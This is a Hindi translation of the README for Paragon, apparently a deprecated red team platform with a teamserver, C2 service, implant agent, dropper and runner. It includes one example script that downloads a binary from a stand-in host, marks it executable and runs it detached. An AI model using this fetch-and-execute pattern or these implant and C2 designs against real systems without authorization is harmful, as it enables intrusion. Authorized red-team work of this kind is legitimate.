
लाल टीम जुड़ाव मंच जिसका लक्ष्य एक सरल UI के पीछे आक्रामक उपकरणों को एकीकृत करना है।
यह परियोजना अप्रचलित हो चुकी है, कृपया हमारे नए Realm प्रोजेक्ट को देखें, जो इस रेपो को बनाते समय हमारे पास मौजूद कई विचारों पर आधारित है।

Paragon एक रेड टीम एंगेजमेंट प्लेटफॉर्म है। इसका उद्देश्य सरल UI के पीछे आक्रामक उपकरणों को एकीकृत करना है, जो अधिकांश बैकएंड कार्य को सारगर्भित करता है ताकि ऑपरेटर इम्प्लांट लिखने पर ध्यान केंद्रित कर सकें और डेटाबेस और css की चिंता में कम समय बिता सकें। रिपॉजिटरी में Paragon के साथ पहले से एकीकृत कुछ आक्रामक उपकरण भी शामिल हैं जिनका उपयोग एंगेजमेंट के दौरान किया जा सकता है।
यह रिपॉजिटरी अभी भी भारी विकास के अधीन है और उत्पादन उपयोग के लिए तैयार नहीं है। जब इसे स्थिर माना जाएगा, तो V1.0.0 टैग जारी किया जाएगा। तब तक, API में ब्रेकिंग चेंजेस हो सकते हैं क्योंकि हम अपने डिज़ाइन को लगातार सरल बना रहे हैं। यदि आप इस मील का पत्थर तेजी से पहुँचने में हमारी मदद करना चाहते हैं, तो कृपया नीचे डेवलपर दस्तावेज़ पढ़ें।
एक त्वरित प्रदर्शन इंस्टेंस को रिपॉजिटरी को क्लोन करके और docker-compose up चलाकर सेट किया जा सकता है। आरंभ करने के लिए अपने ब्राउज़र में 127.0.0.1:80 खोलें!
उपयोग की गई इमेजेस docker-hub पर उपलब्ध हैं, और उत्पादन परिनियोजन के लिए docker-compose फ़ाइल से कॉन्फ़िगर किया जा सकता है।
इस रिपॉजिटरी में अधिकांश घटक एक Python-जैसी स्क्रिप्टिंग भाषा पर निर्भर करते हैं जो उनके व्यवहार के शक्तिशाली नियंत्रण और अनुकूलन को सक्षम बनाती है। यह भाषा Google के starlark का एक संशोधित संस्करण है, जिसे ऑपरेटरों के लिए क्रॉस-प्लेटफ़ॉर्म कार्यक्षमता के साथ बढ़ाया गया है। यह एजेंट और ड्रॉपर जैसे टूल्स (नीचे चर्चा की गई) को सिस्टम बाइनरी (curl, bash, आदि) पर निर्भर हुए बिना कार्यों को निष्पादित करने में सक्षम बनाता है। सभी संचालन Golang में कोड के रूप में निष्पादित होते हैं, इसलिए स्क्रिप्टिंग वातावरण में अतिरिक्त कार्यक्षमता जोड़ना सहज है। यहाँ एक उदाहरण स्क्रिप्ट है:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
एक सरल वेब एप्लिकेशन और GraphQL API प्रदान करता है जो रेड टीम नॉलेज ग्राफ के साथ इंटरफेस करता है, उपकरणों को सत्य के एक केंद्रीकृत स्रोत के पीछे एकीकृत करता है और ऑपरेटरों से कई कष्टप्रद बैकएंड चिंताओं को सारगर्भित करता है। अपने कस्टम टूल्स को टीमसर्वर के साथ एकीकृत करें (GraphQL API या इवेंट सब्सक्रिप्शन का उपयोग करके) बैकएंड कार्य पर समय बचाने के लिए। टीमसर्वर सभी गतिविधि रिकॉर्ड करता है, इसलिए आपके सभी उपकरण एक स्थान पर एकीकृत होने पर, पोस्ट-एंगेजमेंट रिपोर्ट लिखना काफी आसान हो जाता है।
नीचे दिए गए उपकरण भी रिपॉजिटरी में शामिल हैं। इन्हें कई क्रॉस-प्लेटफ़ॉर्म उपयोग मामलों में फिट करने के लिए आसानी से विस्तारित किया जा सकता है।
Paragon संपत्तियों (बाइनरी, स्क्रिप्ट, आदि) को एक एकल बाइनरी में पैकेज करने के लिए एक उपकरण प्रदान करता है जो निष्पादित होने पर आपकी कस्टम परिनियोजन स्क्रिप्ट को निष्पादित करेगा जो फाइलसिस्टम पर संपत्तियां लिख सकता है, प्रक्रियाएं लॉन्च कर सकता है, फाइलें डाउनलोड कर सकता है, त्रुटियों को संभाल सकता है, और बहुत कुछ कर सकता है। यह पूरी तरह से क्रॉस-प्लेटफ़ॉर्म और स्थिर रूप से संकलित है, जो विश्वसनीय परिनियोजन प्रदान करता है। यदि आप इसकी कार्यक्षमता बढ़ाना चाहते हैं, तो आप संकलन से पहले उत्पन्न golang फ़ाइल को आसानी से विस्तारित कर सकते हैं।
एक इम्प्लांट जो कार्यों को निष्पादित करता है और निष्पादन परिणामों की रिपोर्ट करता है। यह डिफ़ॉल्ट रूप से Paragon की Python-जैसी स्क्रिप्टिंग भाषा का उपयोग करके कार्यों को निष्पादित करने और http(s) के माध्यम से C2 के साथ संचार करने के लिए कॉन्फ़िगर किया गया है। यह Go में लिखा गया है, और नए ट्रांसपोर्ट तरीके (जैसे DNS), निष्पादन विकल्प, फेलओवर लॉजिक, और अधिक जोड़ने के लिए जल्दी से संशोधित किया जा सकता है।
एजेंट और टीमसर्वर के बीच एक मध्यस्थ के रूप में कार्य करता है। यह विभिन्न संचार तंत्रों के लिए एजेंट कॉलबैक को संभालता है, और इसे टीमसर्वर क्यू से नए कार्य प्रदान करता है।
कॉलबैक की प्रतीक्षा करने के बजाय, कुछ स्थितियों में किसी कार्य को जल्दी से निष्पादित करने और उसके आउटपुट को देखने के लिए एक फॉरवर्ड कनेक्शन की आवश्यकता हो सकती है। रनर इसे कार्य क्यू की सदस्यता लेकर और लक्ष्य मशीन (जैसे ssh का उपयोग करके) के साथ कनेक्शन स्थापित करके पूरा करता है। यह शेल-जैसे एकीकरण को इम्प्लांट और C2 के समान इंटरफ़ेस का उपयोग करने में सक्षम बनाता है। यह इस इंटरफ़ेस के माध्यम से प्रारंभिक इम्प्लांट परिनियोजन की अनुमति भी देता है।
लक्ष्य नेटवर्क गतिविधि और दृश्य सेवाओं की निगरानी करें। एंगेजमेंट नेटवर्क का एक ग्राफ तैयार करें, और स्थिति परिवर्तनों (जैसे ssh उपलब्ध हो जाता है) पर ऑटोमेशन ट्रिगर करें।
टीमसर्वर के लिए PG_KS_MachineUUID किलस्विच एनवायरनमेंट वेरिएबल सेट करने से मशीन UUID का उपयोग करने वाले लुकअप अक्षम हो जाएंगे।
इन जटिल प्रणालियों के बारे में स्पष्ट संचार सुनिश्चित करने के लिए, हमने नीचे कुछ परियोजना-विशिष्ट शब्दों की रूपरेखा दी है जिनका उपयोग परियोजना के दस्तावेज़ीकरण में किया जाएगा।
एंगेजमेंट के दौरान समझौता किए गए सिस्टम पर चलाया जाने वाला कोई भी दुर्भावनापूर्ण सॉफ्टवेयर।
किसी विशिष्ट समझौता किए गए सिस्टम पर निष्पादित किए जाने वाले वांछित संचालन। कार्य इम्प्लांट को निष्पादन निर्देश प्रदान करते हैं, हालांकि उनका सिंटैक्स/संरचना पूरी तरह से किसी टूल के लिए विशिष्ट हो सकती है।
एक इम्प्लांट जो टीमसर्वर से कार्य प्राप्त करता है, उन्हें निष्पादित करता है, और उनके परिणामों की रिपोर्ट करता है। इस रिपॉजिटरी के साथ एक विस्तार योग्य डिफ़ॉल्ट कार्यान्वयन शामिल है, जिसके लिए आवश्यक है कि कार्य परियोजना की Python-जैसी DSL का उपयोग करके लिखी गई स्क्रिप्ट के रूप में प्रदान किए जाएं।
अनुरोध है कि टीमसर्वर दिए गए संचालन का एक सेट करे। जॉब बनाने पर, निर्देश सहेज लिए जाएंगे लेकिन निष्पादित नहीं किए जाएंगे। उपयोगकर्ता अनुरोध कर सकता है कि टीमसर्वर एक जॉब को शून्य या अधिक बार निष्पादित करे, जॉब को क्यू में रखकर और उसे आवश्यक पैरामीटर प्रदान करके। जॉब को कभी भी अपडेट नहीं किया जा सकता है, लेकिन अत्यधिक कॉपी-पेस्ट से बचने के लिए जॉब के नए संस्करण बनाए जा सकते हैं।
जॉब के लिए एक सामान्य उपयोग-मामला तब होता है जब उपयोगकर्ता कुछ लक्ष्यों पर एक स्क्रिप्ट निष्पादित करना चाहता है। उपयोगकर्ता एक जॉब बनाता है, जो टीमसर्वर को प्रदान की गई सामग्री के साथ कार्य बनाने का निर्देश देता है, लेकिन वांछित लक्ष्य मशीनों को एक पैरामीटर के रूप में छोड़ देता है। जब जॉब क्यू में रखा जाता है, तो उपयोगकर्ता पैरामीटर के रूप में लक्ष्य मशीनों की एक सूची प्रदान करता है, और टीमसर्वर प्रत्येक मशीन के लिए एक कार्य बनाएगा।
नीचे Paragon विकास के लिए एक प्रारंभिक और संक्षिप्त संदर्भ के रूप में कार्य करता है। अधिक दस्तावेज़ीकरण पैकेज गोडॉक्स में या कुछ कोड पढ़कर पाया जा सकता है :) कुछ डिज़ाइन निर्णयों को अंतिम रूप देने के बाद (v1 तक पहुँचने से काफी पहले), एक कोड-फ्रीज़ लागू होगा जब तक कि सभी दस्तावेज़ीकरण को अपडेट और उचित रूप से व्यवस्थित नहीं कर दिया जाता।
Remote - Containers एक्सटेंशन आवश्यक है।ऊपर सूचीबद्ध आवश्यक शर्तों को स्थापित करने के बाद, आप तुरंत शुरू करने में सक्षम होंगे। बस रिपॉजिटरी को क्लोन करें और इसे VSCode में खोलें। आपको कोडबेस को एक डेवलपमेंट कंटेनर में खोलने का संकेत दिया जाएगा, जिसे आपकी आवश्यकता वाली सभी परियोजना निर्भरताओं और डेवलपर टूल्स के साथ कॉन्फ़िगर किया गया है। यदि यह विकल्प आपको दिखाई नहीं देता है, तो कमांड पैलेट खोलें और > Remote-Containers: Open Folder In Container चलाएं, जो आपके लिए कंटेनर शुरू करेगा। यदि यह पहली बार है जब आप कंटेनर लॉन्च कर रहे हैं, तो इसे डाउनलोड होने में कुछ समय लग सकता है... तो अपने लिए कुछ कॉफी लें ^_^
नीचे परियोजना संरचना और प्रत्येक घटक कहाँ रहता है, इसका एक अवलोकन है। यदि यह पुराना हो जाता है, तो कृपया इसकी रिपोर्ट करने के लिए एक इश्यू सबमिट करें या इसे ठीक करने के लिए अधिमानतः एक PR सबमिट करें। कोडबेस एक मोनोरिपॉजिटरी के रूप में सेटअप है, जो हमें जटिल संस्करण संघर्षों से बचते हुए साझा डेवलपमेंट टूलिंग, मानकीकरण आदि का लाभ उठाने में सक्षम बनाता है।
नीचे टीमसर्वर द्वारा प्रबंधित रेड टीम नॉलेज ग्राफ में नोड्स के बीच संबंध का एक अवलोकन है।

परिवहन प्राथमिकता। अपना स्वयं का उपयोग करने के लिए, बस agent.Sender इंटरफ़ेस लागू करें और आरंभीकरण के दौरान अपने परिवहन को पंजीकृत करें। मौजूदा परिवहन के उदाहरण agent पैकेज की उपनिर्देशिकाओं में पाए जा सकते हैं।
डिफ़ॉल्ट रूप से, एजेंट उम्मीद करता है कि कार्य starlark सिंटैक्स का पालन करते हैं, और स्क्रिप्ट के उपयोग के लिए एक मानक लाइब्रेरी प्रदान करता है। कार्य निष्पादन के व्यवहार को बदलने के लिए (जैसे केवल bash कमांड), आप agent.Receiver इंटरफ़ेस लागू कर सकते हैं ताकि कार्यों को अपनी इच्छानुसार निष्पादित कर सकें।
स्क्रिप्टिंग वातावरण को आपके एजेंट के लिए अनुकूलित किया जा सकता है, जिससे आप स्क्रिप्ट के उपयोग के लिए नई कार्यक्षमता को आसानी से पैकेज कर सकते हैं। एजेंट के स्क्रिप्ट इंजन को बढ़ाने का तरीका जानने के लिए स्क्रिप्ट विकल्प देखें।
नीचे एजेंट इम्प्लांट के सामान्य निष्पादन का एक प्रवाह आरेख है।
एजेंट को नए ट्रांसपोर्ट तंत्रों के साथ आसानी से अनुकूलित करने के लिए डिज़ाइन किया गया है, संचार को मल्टीप्लेक्स करना आधारित

| Folder | Use Case |
|---|
| .devcontainer | VSCode कंटेनर डेवलपमेंट वातावरण के लिए कॉन्फ़िगरेशन। |
| .github | Github कॉन्फ़िगरेशन। |
| .stats | प्रदर्शन प्रोफाइलिंग आउटपुट संग्रहीत करने के लिए एक git अनदेखा निर्देशिका (जो आपके पास हो भी सकती है और नहीं भी)। |
| ent | टीमसर्वर द्वारा उपयोग की जाने वाली ग्राफ से संबंधित API परिभाषाएँ। |
| graphql | ent से उत्पन्न GraphQL स्कीमा और संबंधित कोड। |
| cmd | कमांड लाइन निष्पादन योग्य उपकरण और सेवाएँ। |
| dist | बिल्ड आर्टिफैक्ट्स संग्रहीत करने के लिए एक git अनदेखा निर्देशिका। |
| docker | उदाहरण परिनियोजन के लिए उपयोग किए जाने वाले Dockerfiles। |
| ent | टीमसर्वर द्वारा उपयोग किए जाने वाले ग्राफ मॉडल और स्कीमा (अधिक जानकारी के लिए Facebook का entgo टूल देखें)। |
| pkg | रिपॉजिटरी टूल्स द्वारा उपयोग की जाने वाली लेकिन दुनिया के लिए भी खुली सार्वजनिक लाइब्रेरीज़। |
| pkg/agent | आसानी से इम्प्लांट या संचार ट्रांसपोर्ट बनाने के लिए एक अब्स्ट्रैक्शन। |
| pkg/c2 | C2 सेवा से संबंधित हेल्पर्स और मानकीकृत संदेश परिभाषाएँ। |
| pkg/c2/proto | एजेंट <-> C2 संचार के लिए मानकीकृत सीरियलाइज़ेशन प्रारूप को परिभाषित करने के लिए Protobuf स्पेक। |
| pkg/drop | संकलित ड्रॉपर पेलोड द्वारा उपयोग की जाने वाली एक सरल विधि प्रदान करता है। |
| pkg/middleware | HTTP सेवाओं के लिए सामान्य मिडलवेयर। |
| pkg/script | गतिशील कॉन्फ़िगरेशन, ऑटोमेशन और क्रॉस-प्लेटफ़ॉर्म एक्सप्लॉइटेशन के लिए Python-जैसी स्क्रिप्टिंग भाषा। |
| pkg/script/stdlib | स्क्रिप्टिंग निष्पादन वातावरण के लिए कार्यक्षमता प्रकट करने वाली मानक लाइब्रेरीज़। |
| pkg/teamserver | टीमसर्वर सेवा से संबंधित हेल्पर्स। |
| www | टीमसर्वर द्वारा होस्ट की गई प्राथमिक वेब एप्लिकेशन शामिल है। Facebook के create-react-app एप्लिकेशन द्वारा बनाया गया। |
| www/src/components | पुन: प्रयोज्य react-components। |
| www/src/config | वेब ऐप कॉन्फ़िगरेशन और रूटिंग। |
| www/src/views | कंटेनर जो टीमसर्वर से डेटा क्वेरी करते हैं और रेंडर करने के लिए घटकों को संयोजित करते हैं। |